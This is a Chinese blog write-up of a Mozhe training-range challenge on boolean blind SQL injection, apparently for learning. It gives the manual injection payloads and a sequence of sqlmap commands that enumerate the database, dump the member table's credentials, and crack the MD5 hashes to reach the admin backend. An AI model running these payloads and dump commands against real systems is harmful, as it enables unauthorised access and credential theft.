WEB安全-SQL注入(布尔盲注)

前言

今天是第一次打墨者的靶场,同时也是第一次更新靶场的教程,如有错误请各位之处,由于我之前SQLi学的比较早,所以先进行SQLi题目的练习,是复习也是巩固

题目地址:

SQL注入漏洞测试(布尔盲注)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养 (mozhe.cn)

正文

首先确定是布尔盲注,进来发现是这个页面

image

点击下面的通知发现注入点

image

所以确定注入点后,先确定数据库的长度,一个一个试发现是10

http://219.153.49.228:42540/new_list.php?id=1 and length(database())=10

这个时候对数据库的名字进行爆破,首先是第一位,使用burp进行抓包

http://219.153.49.228:42540/new_list.php?id=1 and if(ascii(substr(database(),1,1))=97,1,0)

其中对97那边作为爆破点,将爆破范围定为小写到大写的所有ascii码值,得到第一个字母的ascii值为115,即“s”

image

但是这样未免太麻烦了,所以直接上sqlmap

sqlmap -u 219.153.49.228:42540/new_list.php?id=1 --current-db --batch --threads 10 --level 5 --technique B

得到数据库的名字叫“stormgroup”

image

然后就是流程化作业,先跑出数据表member和notice

sqlmap -u 219.153.49.228:42540/new_list.php?id=1 -D stormgroup --tables --batch --threads 10 --level 5 --technique B

image

再跑出各自的数据列

sqlmap -u 219.153.49.228:42540/new_list.php?id=1 -D stormgroup -T member --columns --batch --threads 10 --level 5 --technique B

image

sqlmap -u 219.153.49.228:42540/new_list.php?id=1 -D stormgroup -T notice --columns --batch --threads 10 --level 5 --technique B

image

所以key应该再member表中,对member表进行数据榨取

sqlmap -u 219.153.49.228:42540/new_list.php?id=1 -D stormgroup -T member -C name,password,status --dump --threads 10 --level 5 --technique B

image

得到两个账号和密码,对密码进行md5解密,分别是 528469 和  047298 分别实验一下,发现 047298 是正确的,进入后台,获取key

image

总结

SQLi的布尔盲注虽然更多的是通过sqlmap跑结果,但是具体的手工注入的流程,具体函数的使用,还是需要注意,不能做只知道用工具的“脚本小子”,同时,对注入点的寻找,不断地试错并总结也很重要

以下函数需要知道

1.if函数

if(condition, value_if_true, value_if_false)
#根据条件进行判断,如果条件为真,输出第二个参数,如果为假,输出第三个参数

2.substr函数

# 常用方式
substr(str,pos):截取字符串str,从pos开始的位置,一直截取到最后
substr (str, pos, len):截取字符串str,从pos位置开始,截取位数为len

3.ascii函数

ascii(str)
# 返回字符串str最左面字符的ASCII代码值,如果str是空字符串,返回0,如果str是NULL,返回NULL
posted @ 2021-11-16 17:12  icui4cu  阅读(183)  评论(0编辑  收藏  举报